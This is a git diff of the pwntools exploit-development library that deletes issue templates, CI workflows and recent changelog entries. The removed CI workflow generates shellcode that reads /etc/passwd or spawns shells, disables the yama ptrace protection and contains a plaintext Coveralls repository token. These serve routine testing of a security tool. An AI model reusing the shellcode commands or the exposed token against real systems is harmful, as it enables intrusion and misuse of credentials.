Bump version to 3.12.2

2026-11-10 02:01:28 -10:00 · 2019-01-07 15:21:39 -06:00
957 changed files with 11105 additions and 42262 deletions
@@ -1,12 +1,8 @@
 [run]
 branch = True
-parallel = True
-concurrency = thread,multiprocessing
 omit =
    */constants/*
 source =
    pwn
    pwnlib
-    ~/.cache/.pwntools-cache-2.7/
-    ~/.cache/.pwntools-cache-3.8/
-disable_warnings = module-not-imported
+    ~/.pwntools-cache/
@@ -1,54 +0,0 @@
---
-name: Bug report
-about: Create a report to help us improve
-title: ''
-labels: backport-required, bug
-assignees: ''
-
---
-
-Thanks for contributing to Pwntools!
-
-## Update Pwntools First
-
-When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
-
-## Debug Output
-
-Having the extra debug output really helps us, and might help you diagnose the problem yourself.
-
-When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
-
-```sh
-$ python exploit.py DEBUG LOG_FILE=log.txt
-```
-
-You should see `[DEBUG]` statements that show what's happening behind the scenes:
-
-```
-[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
-[DEBUG] Sent 0x7 bytes:
-    'whoami\n'
-[DEBUG] Sent 0x5 bytes:
-    'exit\n'
-[+] Receiving all data: Done (11B)
-[DEBUG] Received 0xb bytes:
-    'crashheap\n'
-[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
-```
-
-## Verify on Ubuntu
-
-If possible, please verify that your issue occurs on 64-bit Ubuntu 18.04.  We provide a Dockerfile based on Ubuntu 18.04 via `docker.io` to make this super simple, no VM required!
-
-```sh
-# Download the Docker image
-$ docker pull pwntools/pwntools:stable
-
-# Boot the image
-$ docker run -it pwntools/pwntools:stable
-
-pwntools@7dc3ef409476:~$ python
->>> from pwn import *
->>> # Test your code here
-```
@@ -1,18 +0,0 @@
---
-name: Feature request
-about: Suggest an idea for this project
-title: ''
-labels: feature
-assignees: ''
-
---
-
-Thanks for contributing to Pwntools!   Ideas from the community help make Pwntools an amazing tool for everybody.
-
-If you've got an idea for a new feature, please provide information about:
-
-* What the feature does
-* Why the feature should exist
-* What tests should be included
-
-If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!
@@ -1,18 +0,0 @@
---
-name: Question
-about: Ask us a question about Pwntools
-title: ''
-labels: question
-assignees: ''
-
---
-
-Thanks for using Pwntools!  If you have a question, here are some tips that will make it easier for us to help you.
-
-## Check the Documentation
-
-Pwntools has REALLY extensive documentation.  Please check there first!  https://docs.pwntools.com
-
-## Debug Output
-
-If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`.  This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.
@@ -25,8 +25,3 @@ You can always [change the branch][change] after you create the PR if it's again
 [contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
 [testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
 [change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
-
-## Changelog
-
-After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.  
-You can look at the existing changelog for examples of how to do this.
@@ -1,60 +0,0 @@
-name: Android Tests
-
-on: [push, pull_request]
-
-jobs:
-  test:
-    strategy:
-      matrix:
-        python-version: [3.8]
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v2
-
-    - name: Cache for pip
-      uses: actions/cache@v1
-      id: cache-pip
-      with:
-        path: ~/.cache/pip
-        key: ${{ matrix.os }}-cache-pip
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
-      with:
-        python-version: ${{ matrix.python-version }}
-
-    - name: Install Linux dependencies
-      run: |
-        sudo apt-get update
-        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
-          gdb gdbserver socat \
-          qemu-user-static \
-          binutils-aarch64-linux-gnu \
-          binutils-arm-linux-gnueabihf \
-          libc6-dbg \
-          openjdk-8-jre-headless
-
-    - name: Install Android AVD
-      run: |
-        USER=travis source travis/setup_avd.sh
-        sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
-        set | egrep '^(ANDROID|PATH)' >.android.env
-
-    - name: Install dependencies
-      run: |
-        pip install --upgrade pip
-        python setup.py egg_info
-        pip install --upgrade --editable .
-
-    - name: Sanity checks
-      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-
-    - name: Install documentation dependencies
-      run:  pip install -r docs/requirements.txt
-
-    - name: Coverage Doctests (Android Only)
-      run: |
-        source .android.env
-        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
@@ -1,29 +0,0 @@
-name: Changelog
-on: [pull_request]
-env:
-  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
-
-jobs:
-  check:
-    strategy:
-      matrix:
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 5
-    steps:
-    - uses: actions/checkout@v2
-      with:
-        fetch-depth: 0
-
-    - name: Check changelog for updates
-      run: |
-        if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
-           echo 'Changelog updated :D'
-        else
-           if git log --stat ${GITHUB_BASE}..HEAD pwnlib pwn | grep '++\|--'; then
-              echo 'Major changes detected, changelog required!'
-              false
-           else
-              echo 'Minor changes detected, no changelog required!'
-           fi
-        fi
@@ -1,210 +0,0 @@
-name: Continuous Integration
-on: [push, pull_request]
-
-jobs:
-  test:
-    strategy:
-      matrix:
-        python-version: [2.7, 3.8]
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v2
-      with:
-        fetch-depth: 0
-
-    - name: Git History
-      run: |
-        git fetch origin
-        git log --oneline --graph -10
-
-    - name: Cache for pip
-      uses: actions/cache@v1
-      id: cache-pip
-      with:
-        path: ~/.cache/pip
-        key: ${{ matrix.os }}-cache-pip
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
-      with:
-        python-version: ${{ matrix.python-version }}
-
-    - name: Verify tag against version
-      if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
-      env:
-        GITHUB_REF: ${{ github.event.ref }}
-      run: |
-        set -x
-        GITHUB_TAG=${GITHUB_REF#refs/tags/}
-        echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
-        vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
-        vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
-        [ "$vsetup" = "$vpwnlib" ]
-        [ "$GITHUB_TAG" = "$vsetup" ]
-
-    - name: Install Linux dependencies
-      run: |
-        sudo apt-get update
-        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
-          ash bash-static dash ksh mksh zsh \
-          pandoc gdb gdbserver socat sshpass \
-          binutils-multiarch qemu-user-static \
-          binutils-aarch64-linux-gnu \
-          binutils-arm-linux-gnueabihf \
-          binutils-mips-linux-gnu \
-          binutils-msp430 \
-          binutils-powerpc-linux-gnu \
-          binutils-s390x-linux-gnu \
-          binutils-sparc64-linux-gnu \
-          gcc-multilib \
-          libc6-dbg
-
-    - name: Install RPyC for GDB
-      run: |
-        sudo apt-get install -y python3-pip
-        /usr/bin/python3 -m pip install rpyc
-
-    - name: Testing Corefiles
-      run: |
-        ulimit -a
-        ulimit -c unlimited
-        cat /proc/sys/kernel/core_pattern
-        cat /proc/sys/kernel/core_uses_pid
-        ( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true
-
-    - name: Set up SSH
-      run: |
-        travis/ssh_setup.sh
-
-    - name: Install dependencies
-      run: |
-        pip install --upgrade pip
-        pip install --upgrade flake8 appdirs
-        python setup.py egg_info
-        pip install --upgrade --editable .
-
-    - name: Sanity checks
-      run:  PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
-
-    - name: Install documentation dependencies
-      run:  pip install -r docs/requirements.txt
-
-    - name: Manually install non-broken Unicorn
-      run:  pip install unicorn==1.0.2rc3
-
-    - name: Disable yama ptrace_scope
-      run: |
-        echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
-
-    - name: Coverage doctests
-      run: |
-        PWNLIB_NOTERM=1 python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
-
-    - name: Coverage running examples
-      run: |
-        export TERM=linux
-        set -x
-        python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
-        python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
-        python -bb -m coverage run examples/asm.py
-        python -bb -m coverage run examples/asm.py
-        python -bb -m coverage run examples/text.py
-        # for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
-
-    - name: Coverage running commandline tools
-      run: |
-        export TERM=linux
-        pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec python -bb -m coverage run -m pwnlib.commandline."$cmd" "$@" ) }
-        set -x
-
-        pwn cyclic 32
-        pwn cyclic -l 0x62616161
-        pwn cyclic -a ab
-        echo
-
-        pwn shellcraft --list |tail
-        pwn shellcraft -l --syscalls |tail
-        pwn shellcraft -l execve
-        pwn shellcraft --show i386.linux.loader_append
-        pwn shellcraft -f asm --color amd64.linux.sh
-        pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
-        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd </dev/null
-        pwn shellcraft -f c   amd64.linux.syscalls.exit 0 </dev/null
-        pwn shellcraft -f str aarch64.linux.sh </dev/null
-        pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
-        pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
-        pwn shellcraft -fp aarch64.trap
-
-        pwn disasm --color ff3424c3ebfe
-        pwn asm -f hex nop
-
-        pwn hex abcd
-        pwn unhex 4141 4141
-
-        cat /dev/urandom | pwn phd --color -c 256 -s 2
-        pwn phd -l 0x3d --color=always /etc/os-release
-
-        pwn checksec /bin/bash
-
-        pwn errno 2
-        pwn errno -1
-        pwn errno EADDRINUSE
-
-        pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
-        pwn constgrep ^MAP_ 0
-        pwn constgrep -e O_RDWR
-
-    - name: Build source and wheel distributions
-      run: |
-        python setup.py sdist
-        python setup.py bdist_wheel --universal
-
-    - uses: actions/upload-artifact@v2
-      with:
-        name: packages
-        path: dist/
-
-    - name: Upload coverage to coveralls.io
-      run: |
-        coverage combine
-        COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
-
-  staging-merge:
-    runs-on: ubuntu-latest
-    if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
-    needs: test
-    steps:
-    - uses: actions/checkout@v2
-      with:
-        fetch-depth: 20
-    - name: Push changes to protected branch
-      env:
-        GITHUB_REF: ${{ github.event.ref }}
-      run: |
-        BRANCH=${GITHUB_REF#refs/heads/}
-        TARGET=${BRANCH%-staging}
-        git branch -f "$TARGET"
-        git push origin "$TARGET"
-        git push origin --delete "$BRANCH"
-
-  pypi:
-    runs-on: ubuntu-latest
-    if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
-    needs: test
-    steps:
-    - name: Download artifacts
-      uses: actions/download-artifact@v2
-      with:
-        name: packages
-        path: dist
-
-    - name: Publish package
-      uses: pypa/[email protected]
-      with:
-        user: __token__
-        password: ${{ secrets.pypi_password }}
-
-    - if: failure()
-      run: ls -R
@@ -1,35 +0,0 @@
-name: Lint
-on: [push, pull_request]
-
-jobs:
-  lint:
-    strategy:
-      matrix:
-        python-version: [3.8]
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v2
-    - name: Cache for pip
-      uses: actions/cache@v1
-      id: cache-pip
-      with:
-        path: ~/.cache/pip
-        key: ${{ matrix.os }}-cache-pip
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
-      with:
-        python-version: ${{ matrix.python-version }}
-
-    - name: Critical lint
-      run: |
-        pip install flake8
-        flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
-
-    - name: Style lint
-      run: |
-        flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
-        flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
-        flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
@@ -1,28 +0,0 @@
-name: Check for merge markers
-on: [pull_request]
-env:
-  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
-
-jobs:
-  mergecheck:
-    strategy:
-      matrix:
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 5
-    steps:
-    - uses: actions/checkout@v2
-      with:
-        fetch-depth: 0
-
-    - name: Check for merge conflict markers commited
-      run: |
-        if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
-            echo 'WARNING: Merge marker commits found in history.'
-            if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
-                echo 'ERROR: Merge markers still present! Do something!'
-                exit 1
-            fi
-        else
-            echo 'Congrats! All the merges you did were clean or resolved correctly :)'
-        fi
@@ -1,37 +0,0 @@
-name: PyLint
-on: [pull_request]
-
-jobs:
-  build:
-    strategy:
-      matrix:
-        python-version: [3.8]
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v2
-    - name: Cache for pip
-      uses: actions/cache@v1
-      id: cache-pip
-      with:
-        path: ~/.cache/pip
-        key: ${{ matrix.os }}-cache-pip
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
-      with:
-        python-version: ${{ matrix.python-version }}
-
-    - name: PyLint
-      run: |
-        set -x
-        pip install pylint
-        pip install --upgrade -r requirements.txt
-        pylint --exit-zero --errors-only  pwnlib > current.txt
-        git fetch origin
-        git checkout origin/"$GITHUB_BASE_REF"
-        pylint --exit-zero --errors-only  pwnlib > base.txt
-        if diff base.txt current.txt | grep '>'; then
-          false
-        fi
@@ -11,13 +11,7 @@ docs/build
 build
 MANIFEST
 dist
-venv
-.vscode
-.idea
 *.egg-info
 *.core
 .coverage
-.coverage.*
-.idea
-__pycache__
-!.github
+.tox
@@ -1,7 +1,9 @@
+dist: trusty
 language: python
 addons:
  apt:
    packages:
+    - gcc-multilib
    - lib32stdc++6
    - ash
    - bash
@@ -11,56 +13,32 @@ addons:
    - zsh
    - pandoc
    - gdb
-    - socat
-    - sshpass
-    - binutils
-    - qemu-user-static
-    - binutils-multiarch
-    - binutils-aarch64-linux-gnu
-    - binutils-arm-linux-gnueabihf
-    - binutils-mips-linux-gnu
-    - binutils-msp430
-    - binutils-powerpc-linux-gnu
-    - binutils-s390x-linux-gnu
-    - binutils-sparc64-linux-gnu
-    - bash-static
-    - python3-pip
 cache:
    - pip
    - directories:
        - usr
-        - /home/travis/virtualenv/python2.7.15/lib/python2.7/site-packages/
-        - /home/travis/virtualenv/python2.7.15/bin/
-        - /home/travis/virtualenv/python3.8.*/lib/python3.8/site-packages/
-        - /home/travis/virtualenv/python3.8.*/bin/
-        - docs/build/doctest/.doctrees
+        - /home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/
+        - /home/travis/virtualenv/python2.7.13/bin/
+sudo: required
 python:
  - "2.7"
-  - "3.8"
 before_install:
  - echo $-
  - source travis/install.sh
  - source travis/ssh_setup.sh
  - echo $-
 install:
-  - /usr/bin/python3 -m pip install rpyc # for GDB
  - pip install --upgrade pip
-  - pip install --upgrade flake8 appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
-  - python setup.py egg_info      # pypa/pip#6275
+  - pip install --upgrade appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
  - pip install --upgrade --editable .
  - pip install --upgrade --requirement docs/requirements.txt
 before_script:
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - sudo sh -c "echo 0 > /proc/sys/kernel/yama/ptrace_scope"
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
 script:
-  # stop the build if there are Python syntax errors or undefined names
-  - flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
-  # exit-zero treats all errors as warnings.  The GitHub editor is 127 chars wide
  - PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
-  - coverage combine
 after_success:
  - coveralls
  - source travis/update_demo.sh
@@ -9,29 +9,9 @@ The table below shows which release corresponds to each branch, and what date th

 | Version          | Branch   | Release Date           |
 | ---------------- | -------- | ---------------------- |
-| [4.9.0](#490)    | `dev`    |
-| [4.8.0](#480)    | `beta`   |
-| [4.7.0](#470)    | `stable` | Nov 15, 2021
-| [4.6.0](#460)    |          | Jul 12, 2021
-| [4.5.1](#451)    |          | May 30, 2021
-| [4.5.0](#450)    |          | Apr 30, 2021
-| [4.4.0](#440)    |          | Mar 29, 2021
-| [4.3.1](#431)    |          | Nov 29, 2020
-| [4.3.0](#430)    |          | Oct 20, 2020
-| [4.2.0](#420)    |          | Jul 3, 2020
-| [4.1.7](#417)    |          | Jun 30, 2020
-| [4.1.5](#415)    |          | Jun 27, 2020
-| [4.1.4](#414)    |          | Jun 26, 2020
-| [4.1.3](#413)    |          | Jun 23, 2020
-| [4.1.2](#412)    |          | Jun 5, 2020
-| [4.1.1](#411)    |          | Jun 3, 2020
-| [4.1.0](#410)    |          | May 8, 2020
-| [4.0.1](#401)    |          | Jan 22, 2020
-| [4.0.0](#400)    |          | Jan 09, 2020
-| [3.13.0](#3130)  |          | Nov 5, 2019
-| [3.12.2](#3122)  |          | Jan 8, 2019
-| [3.12.1](#3121)  |          | Sept 17, 2018
-| [3.12.0](#3120)  |          | Feb 22, 2018
+| [3.14.0](#3130)  | `dev`    | Jun 12, 2018 (planned)
+| [3.13.0](#3130)  | `beta`   | Mar 31, 2018 (planned)
+| [3.12.0](#3120)  | `stable` | Feb 22, 2018
 | [3.11.0](#3110)  |          | Jan 3, 2018
 | [3.10.0](#3100)  |          | Oct 25, 2017
 | [3.9.2](#392)    |          | Oct 5, 2017
@@ -62,350 +42,27 @@ The table below shows which release corresponds to each branch, and what date th
 | [3.0.0](#300)    |          | Aug 20, 2016
 | [2.2.0](#220)    |          | Jan 5, 2015

-## 4.9.0 (`dev`)
+## 3.14.0

-
-
-## 4.8.0 (`beta`)
-
- [#1922][1922] Fix logic in `wait_for_debugger`
- [#1828][1828] libcdb: Load debug info and unstrip libc binary
- [#1939][1939] Fix error in validating log levels
- [#1981][1981] Fix `cyclic_find()` to make it work with large int values
-
-[1922]: https://github.com/Gallopsled/pwntools/pull/1922
-[1828]: https://github.com/Gallopsled/pwntools/pull/1828
-[1939]: https://github.com/Gallopsled/pwntools/pull/1939
-[1981]: https://github.com/Gallopsled/pwntools/pull/1981
-
-## 4.7.0 (`stable`)
-
- [#1733][1733] Update libc headers -> more syscalls available!
- [#1876][1876] add `self.message` and change `sys.exc_type` to `sys.exec_info()` in PwnlibException
- [#1877][1877] encoders error message handles when `avoid` is bytes in python3
- [#1891][1891] Keep ROP gadgets when setting registers via setattr/call
- [#1892][1892] Silence SIGPIPE error for "pwn phd"
- [#1893][1893] Fix bytes warning in "pwn cyclic"
- [#1897][1897] Add basic support for RISC-V
- [#1903][1903] Add zsh completion script
- [#1904][1904] Add bash completion script
- [#1906][1906] Defer import of several modules to save on startup time
- [#1921][1921] Add basic support for the bare-metal ARM specific toolchain
- [#1995][1995] Add `shellcraft.*.linux.cat2`, which uses alloc+read+write instead of sendfile
-
-[1733]: https://github.com/Gallopsled/pwntools/pull/1733
-[1876]: https://github.com/Gallopsled/pwntools/pull/1876
-[1877]: https://github.com/Gallopsled/pwntools/pull/1877
-[1891]: https://github.com/Gallopsled/pwntools/pull/1891
-[1892]: https://github.com/Gallopsled/pwntools/pull/1892
-[1893]: https://github.com/Gallopsled/pwntools/pull/1893
-[1897]: https://github.com/Gallopsled/pwntools/pull/1897
-[1903]: https://github.com/Gallopsled/pwntools/pull/1903
-[1904]: https://github.com/Gallopsled/pwntools/pull/1904
-[1906]: https://github.com/Gallopsled/pwntools/pull/1906
-[1921]: https://github.com/Gallopsled/pwntools/pull/1921
-[1995]: https://github.com/Gallopsled/pwntools/pull/1995
-
-## 4.6.0
-
- [#1429][1429] Add a mechanism for ret2csu (originally #1138)
- [#1566][1566] Add `ignore_config` argument to `pwnlib.tubes.ssh` and improve `allow_agent` implementation
- [#1652][1652] Add `process.readmem` and `process.writemem`
- [#1739][1739] Add/fix shellcraft.linux.kill() / shellcraft.linux.killparent()
- [#1746][1746] Prefer Python3 over Python2 for spawning remote processes over SSH
- [#1751][1751] Fix process() with executable relative to cwd
- [#1753][1753] major change: less unconditional imports in pwnlib
- [#1776][1776] mips: do not use $t0 temporary variable in dupio
- [#1846][1846] support launching GDB in more different terminals
-
-[1429]: https://github.com/Gallopsled/pwntools/pull/1429
-[1566]: https://github.com/Gallopsled/pwntools/pull/1566
-[1652]: https://github.com/Gallopsled/pwntools/pull/1652
-[1739]: https://github.com/Gallopsled/pwntools/pull/1739
-[1746]: https://github.com/Gallopsled/pwntools/pull/1746
-[1751]: https://github.com/Gallopsled/pwntools/pull/1751
-[1753]: https://github.com/Gallopsled/pwntools/pull/1753
-[1776]: https://github.com/Gallopsled/pwntools/pull/1776
-[1846]: https://github.com/Gallopsled/pwntools/pull/1846
-
-## 4.5.1
-
- [#1902][1902] Always specify -F and -P for tmux in `run_in_new_terminal`
-
-[1902]: https://github.com/Gallopsled/pwntools/pull/1902
-
-## 4.5.0
-
- [#1261][1261] Misc `run_in_new_terminal` improvements (notably gdb terminated by default)
- [#1695][1695] Allow using GDB Python API
- [#1735][1735] Python 3.9 support in safeeval
- [#1738][1738] Which function support custom search path
-  - process also looks now at `env['PATH']` to find the path for the executable
- [#1742][1742] New `baremetal` os to debug binaries executed with qemu-system-$(arch)
- [#1757][1757] update cache directories
- [#1758][1758] Remove eval from cli
- [#1780][1780] Re-add Python2 to the official Dockerfile
- [#1941][1941] Disable all Android tests, `pwnlib.adb` is no longer supported in CI
- [#1811][1811] Remove unnecessary `pwn.toplevel.__all__`
- [#1827][1827] Support `$XDG_CONFIG_HOME` dir for `pwn.conf`
- [#1841][1841] Add colored_traceback
- [#1839][1839] run_in_new_terminal now creates a runner script if given a list or tuple
- [#1833][1833] Add pwnlib.filesystem module
- [#1852][1852] Fix `atexit` on Python 3
- [#1883][1883] ROP gadget verifier accounts for 2 character registers
-
-[1261]: https://github.com/Gallopsled/pwntools/pull/1261
-[1695]: https://github.com/Gallopsled/pwntools/pull/1695
-[1735]: https://github.com/Gallopsled/pwntools/pull/1735
-[1738]: https://github.com/Gallopsled/pwntools/pull/1738
-[1742]: https://github.com/Gallopsled/pwntools/pull/1742
-[1757]: https://github.com/Gallopsled/pwntools/pull/1757
-[1758]: https://github.com/Gallopsled/pwntools/pull/1758
-[1780]: https://github.com/Gallopsled/pwntools/pull/1780
-[1941]: https://github.com/Gallopsled/pwntools/pull/1941
-[1811]: https://github.com/Gallopsled/pwntools/pull/1811
-[1827]: https://github.com/Gallopsled/pwntools/pull/1827
-[1841]: https://github.com/Gallopsled/pwntools/pull/1841
-[1839]: https://github.com/Gallopsled/pwntools/pull/1839
-[1833]:  https://github.com/Gallopsled/pwntools/pull/1833
-[1852]: https://github.com/Gallopsled/pwntools/pull/1852
-[1883]: https://github.com/Gallopsled/pwntools/pull/1883
-
-## 4.4.0
-
- [#1541][1541] Use `context.newline` for tubes by default
- [#1602][1602] Fix bytes handling in ssh tubes
- [#1606][1606] Fix `asm()` and `disasm()` for MSP430, S390
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
- [#1632][1632] Enable usage of Pwntools in jupyter
- [#1633][1633] Open a shell if `pwn template` cannot download the remote file
- [#1644][1644] Enable and support SNI for SSL-wrapped tubes
- [#1651][1651] Make `pwn shellcraft` faster
- [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures
- [#1667][1667] Add i386 encoder `ascii_shellcode` (Fixed docs in #1693)
- Fix syscall instruction lists for SROP on `i386` and `amd64`
- Fix migration to another ROP
- [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()`
- [#1675][1675] Gdbserver now correctly accepts multiple libraries in `LD_PRELOAD` and `LD_LIBRARY_PATH`
- [#1678][1678] ROPGadget multibr
- [#1682][1682] ROPGadget multibr fix
- [#1687][1687] Actually import `requests` when doing `from pwn import *`
- [#1688][1688] Add `__setattr__` and `__call__` interfaces to `ROP` for setting registers
- [#1692][1692] Remove python2 shebangs where appropriate
- [#1703][1703] Update libcdb buildid offsets for amd64 and i386
- [#1704][1704] Try https://libc.rip/ for libcdb lookup
-
-[1541]: https://github.com/Gallopsled/pwntools/pull/1541
-[1602]: https://github.com/Gallopsled/pwntools/pull/1602
-[1606]: https://github.com/Gallopsled/pwntools/pull/1606
-[1616]: https://github.com/Gallopsled/pwntools/pull/1616
-[1632]: https://github.com/Gallopsled/pwntools/pull/1632
-[1633]: https://github.com/Gallopsled/pwntools/pull/1633
-[1644]: https://github.com/Gallopsled/pwntools/pull/1644
-[1651]: https://github.com/Gallopsled/pwntools/pull/1651
-[1654]: https://github.com/Gallopsled/pwntools/pull/1654
-[1667]: https://github.com/Gallopsled/pwntools/pull/1667
-[1673]: https://github.com/Gallopsled/pwntools/pull/1673
-[1675]: https://github.com/Gallopsled/pwntools/pull/1675
-[1678]: https://github.com/Gallopsled/pwntools/pull/1678
-[1682]: https://github.com/Gallopsled/pwntools/pull/1679
-[1687]: https://github.com/Gallopsled/pwntools/pull/1687
-[1688]: https://github.com/Gallopsled/pwntools/pull/1688
-[1692]: https://github.com/Gallopsled/pwntools/pull/1692
-[1703]: https://github.com/Gallopsled/pwntools/pull/1703
-[1704]: https://github.com/Gallopsled/pwntools/pull/1704
-
-## 4.3.1
-
- [#1732][1732] Fix shellcraft SSTI vulnerability (first major pwntools vuln!)
-
-[1732]: https://github.com/Gallopsled/pwntools/pull/1732
-
-## 4.3.0
-
- [#1576][1576] Add `executable=` argument to `ELF.search`
- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
- [#1592][1592] Fix over-verbose logging of process() environment
- [#1593][1593] Colorize output of `pwn template`
- [#1601][1601] Add `pwn version` command line tool
- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
- [#1613][1613] Permit `--password` for `pwn template`
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
- [#1621][1621] Permit negative values in flat() and fit()
-
-[1576]: https://github.com/Gallopsled/pwntools/pull/1576
-[1584]: https://github.com/Gallopsled/pwntools/pull/1584
-[1592]: https://github.com/Gallopsled/pwntools/pull/1592
-[1593]: https://github.com/Gallopsled/pwntools/pull/1593
-[1601]: https://github.com/Gallopsled/pwntools/pull/1601
-[1605]: https://github.com/Gallopsled/pwntools/pull/1605
-[1613]: https://github.com/Gallopsled/pwntools/pull/1613
-[1616]: https://github.com/Gallopsled/pwntools/pull/1616
-[1564]: https://github.com/Gallopsled/pwntools/pull/1564
-[1621]: https://github.com/Gallopsled/pwntools/pull/1621
-
-## 4.2.1
-
- [#1625][1625] GDB now properly loads executables with QEMU
- [#1663][1663] Change lookup algorithm of `adb.which`
- [#1699][1699] Fix broken linux shellcraft templates
-
-[1625]: https://github.com/Gallopsled/pwntools/pull/1625
-[1699]: https://github.com/Gallopsled/pwntools/pull/1699
-
-## 4.2.0
-
- [#1436][1436] Add ret2dlresolve automation
- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
- Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py)
- [#1454][1454] Support for windows console colors
-
-[1436]: https://github.com/Gallopsled/pwntools/pull/1436
-[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
-[1454]: https://github.com/Gallopsled/pwntools/pull/1454
-
-## 4.1.7 (`stable`)
-
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
-
-[1615]: https://github.com/Gallopsled/pwntools/pull/1454
-
-## 4.1.5
-
- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
-
